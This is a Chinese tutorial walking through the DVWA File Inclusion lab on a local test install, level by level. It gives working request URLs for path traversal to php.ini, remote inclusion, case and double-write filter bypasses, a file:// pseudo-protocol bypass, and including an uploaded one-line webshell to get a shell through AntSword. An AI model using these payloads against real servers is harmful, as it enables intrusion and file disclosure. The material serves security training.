参考文章:DVWA之File Inclusion(文件包含) | 新手指南:DVWA-1.9全级别教程之File Inclusion

原理

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项**,攻击者通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含shell文件**

此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞

远程文件包含漏洞是因为开启了
allow_url_fopen选项**(选项开启之后,服务器允许包含一个远程的文件)

文件包含相关函数

include函数:将指定的文件读入并且执行里面的程序

require函数:将目标文件的内容读入,并且把自己本身代换成这些读入的内容

include_once函数:在脚本执行期间包含并运行指定文件,如果文件被包含过,不会再次包含

require_once函数:和require函数相同,唯一区别是如果文件被包含过,不会再次包含

include和require之间的区别

include 引入不存文件时,产生一个警告且脚本还会继续执行
require 引入不存文件时,会导致一个致命性错误且脚本停止执行

分析

LOW

先看代码,进行审计,找出可包含原因

对page参数传入的值没有进行任何过滤,导致任意文件包含
image.png

先包含一个不存在的文件,看一眼效果如何
哟,将网站路径都爆出来了(这里可以通过SQL注入,拿dba权限,写shell连接)
image.png
第一行的警告是因为找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning

而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了

本地包含

http://127.0.0.1:81/dvwa/vulnerabilities/fi/?page=../../php.ini

../是返回上一级目录的意思

image.png

再看一眼phpinfo.php
http://127.0.0.1:81/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
image.png

远程包含

我们可以试下是否存在远端包含,弟弟没有服务器,直接就访问phpinfo测试
http://127.0.0.1/vulnerabilities/fi/?page=http://127.0.0.1:81/phpinfo.php
image.png

Medium

老样子,先看代码,进行审计,找出可包含原因

代码使用 str_replace函数 对http:// 和 https://进行了过滤,也为了本地包含漏洞的产生,过滤了 ../ 和 ..\ 防止了进行目录切换的包含

http://、https://可以用大小写、双写绕过 | ../和..\是防止了本地包含漏洞,还有远程包含漏洞
image.png

大小写

http://192.168.10.100:81/dvwa/vulnerabilities/fi/?page=HTTP://127.0.0.1:81/phpinfo.php
image.png

双写

http://192.168.10.100:81/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1:81/phpinfo.php
image.png

High

老样子,先看代码,进行审计,找出可包含原因

对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found

但是可以用file伪协议进行绕过 | 想看别的PHP伪协议:PHP伪协议讲解
image.png

http://192.168.10.100:81/dvwa/vulnerabilities/fi/?page=file:///D:/PhpStudy/PHPTutorial/WWW/phpinfo.php
image.png

拿shell

文件包含,想拿shell,必须配合文件上传漏洞使用

思路就是,先用文件上传漏洞将一句话木马上传至服务端,然后文件包含去包含那个木马文件再用蚁剑连接

这里我已经上传好了一句话木马 D:\phpStudy\PHPTutorial\WWW\dvwa\hackable\uploads\shell.php

直接利用file协议包含木马文件,蚁剑连接(如果有远程包含,也可以拿shell)
http://192.168.10.100:81/dvwa/vulnerabilities/fi/?
page=file:///D:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/shell.php

可以看到是可以访问的,下面重要点来了,来了!!!
image.png

因为DVWA是要登录的,所以必须要在蚁剑中浏览网站,留下session,才能拿shell,不然会像下面一样报错
image.png

先添加好数据,然后浏览网站,留下session
image.png

Impossible

老样子,先看代码,进行审计,找出不可包含原因

使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!
image.png